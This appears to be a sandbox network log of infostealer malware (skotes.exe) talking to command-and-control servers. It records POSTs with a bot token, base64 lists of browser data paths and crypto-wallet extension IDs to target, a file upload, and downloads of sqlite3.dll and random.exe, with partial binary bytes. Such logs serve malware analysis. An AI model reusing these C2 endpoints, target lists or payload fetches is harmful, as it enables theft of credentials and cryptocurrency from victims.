Nov 22, 2024 04:12:42.858727932 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 22, 2024 04:12:42.860008001 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 33 64 34 37 62 34 37 63 61 64 34 38 65 65 34 37 35 33 33 35 35 31 36 61 64 31 64 38 64 65 61 62 31 31 34 63 35 62 63 36 63 37 39 30 30 62 38 34 34 35 65 30 38 64 35 66 39 66 37 31 61 63 32 39 35 34 61 62 63 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"cc3d47b47cad48ee475335516ad1d8deab114c5bc6c7900b8445e08d5f9f71ac2954abca------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="message"plugins------HDGIJJDGCBKFIDHIEBKE--
Nov 22, 2024 04:12:43.308439016 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 22, 2024 04:12:43.308509111 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 22, 2024 04:12:43.308540106 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 22, 2024 04:12:43.308593035 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Nov 22, 2024 04:12:43.308633089 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Nov 22, 2024 04:12:43.308667898 CET	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Nov 22, 2024 04:12:43.308702946 CET	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Nov 22, 2024 04:12:43.319952011 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 33 64 34 37 62 34 37 63 61 64 34 38 65 65 34 37 35 33 33 35 35 31 36 61 64 31 64 38 64 65 61 62 31 31 34 63 35 62 63 36 63 37 39 30 30 62 38 34 34 35 65 30 38 64 35 66 39 66 37 31 61 63 32 39 35 34 61 62 63 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="token"cc3d47b47cad48ee475335516ad1d8deab114c5bc6c7900b8445e08d5f9f71ac2954abca------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="message"fplugins------HIIEGHJJDGHCAKEBGIJK--
Nov 22, 2024 04:12:43.767211914 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 22, 2024 04:12:43.784605026 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBFCAFCBKFIEBFHIDBA Host: 185.215.113.206 Content-Length: 5983 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 04:12:43.784657955 CET	5983	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 33 64 34 37 Data Ascii: ------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="token"cc3d47b47cad48ee475335516ad1d8deab114c5bc6c7900b8445e08d5f9f71ac2954abca------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 22, 2024 04:12:44.749861002 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 04:12:44.750457048 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 04:12:45.196119070 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 22, 2024 04:12:45.196213007 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 22, 2024 04:12:45.200287104 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49837	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:40.488631010 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 30 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008092001&unit=246122658369
Nov 22, 2024 04:12:41.922908068 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:12:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49842	185.215.113.16	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:42.044487000 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 22, 2024 04:12:43.431866884 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:12:43 GMT Content-Type: application/octet-stream Content-Length: 921600 Last-Modified: Fri, 22 Nov 2024 03:06:26 GMT Connection: keep-alive ETag: "673ff532-e1000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 2a f5 3f 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 60 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@n~{{{z{RichPEL?g"`w@pU@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 22, 2024 04:12:43.431938887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 22, 2024 04:12:43.431993008 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 22, 2024 04:12:43.432027102 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Nov 22, 2024 04:12:43.432064056 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Nov 22, 2024 04:12:43.432097912 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Nov 22, 2024 04:12:43.432132959 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Nov 22, 2024 04:12:43.432166100 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Nov 22, 2024 04:12:43.432199955 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Nov 22, 2024 04:12:43.432236910 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Nov 22, 2024 04:12:43.553061962 CET	1236	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49856	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:47.885191917 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 30 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008093001&unit=246122658369
